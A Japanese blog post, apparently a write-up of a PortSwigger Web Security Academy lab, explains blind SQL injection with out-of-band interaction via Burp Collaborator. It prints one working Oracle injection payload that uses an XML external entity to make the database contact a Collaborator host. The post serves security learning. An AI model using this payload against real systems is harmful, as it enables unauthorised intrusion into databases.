ペネトレーションしのべくん

さようなら、すべてのセキュリティエンジニア

Blind SQL injection with out-of-band interaction

はじめに

「Blind SQL injection with out-of-band interaction」のWriteupです。Web Security Academy関連の最後の投稿から2ヶ月弱ほど間が空いてしまいました。

こんな手法があるのかーという驚きもさることながら、PortSwiggerがこの手法を検査するための仕組み(=Burp Collaborator、後述)を用意してくれていることにもっとびっくりです。

portswigger.net

Summary

クエリによってDNS問い合わせなどの外部との通信を発生させて、それが発生したか否かによって間接的にデータベースの挙動を把握する、という手法です。 pg_sleep() などを使った、遅延の有無による挙動把握の別バージョンと言えます。

Burp Suiteでは、Burp Collaboratorを使うことで外部通信を受け取れます。Burp Collaboratorは、PortSwiggerが提供しているインフラを使って、HTTP(S)やDNSなどのパケットを受信するためのホストを作成・使用します。Burp Suiteに内蔵されているBurp Collaborator clientを使うことで、ホスト名の取得やパケット受信状況のポーリングなどを行えます。

portswigger.net

Writeup

目的は、データベースからDNS問い合わせを発生させることです。

まずBurp Collaboratorのペイロードを生成します。Collaborator clientの「Copy to clipboard」をクリックすると、「xxxxxxxxx.burpcollaborator.net」というFQDNが生成されます。このFQDNに対してcurlすると、テーブルにDNSとHTTPの列が出てきました。

f:id:befs_anne:20210629004501p:plain

肝心の問題については、SQL Cheat Sheetを参考に色々クエリを投げてみたのですがよく分からず、最終的にはSolutionを確認しました。なるほどUNION SELECT……。 '; SELECT... (複文、と言うんだったでしょうか) や ' || SELECT... で繋げるばかりで忘れていました。

TrackingId=TRACKINGID'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//WHAT-YOU-ARE-ISSUED.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--+;

※どの文字をURLエンコードしてどの文字が必要ないのかがちゃんと理解できていない。

f:id:befs_anne:20210629004610p:plain

Burp Repeaterでリクエストを投げるだけではSolvedになりませんでしたが、ブラウザを更新すると表示されました。

f:id:befs_anne:20210629004254p:plain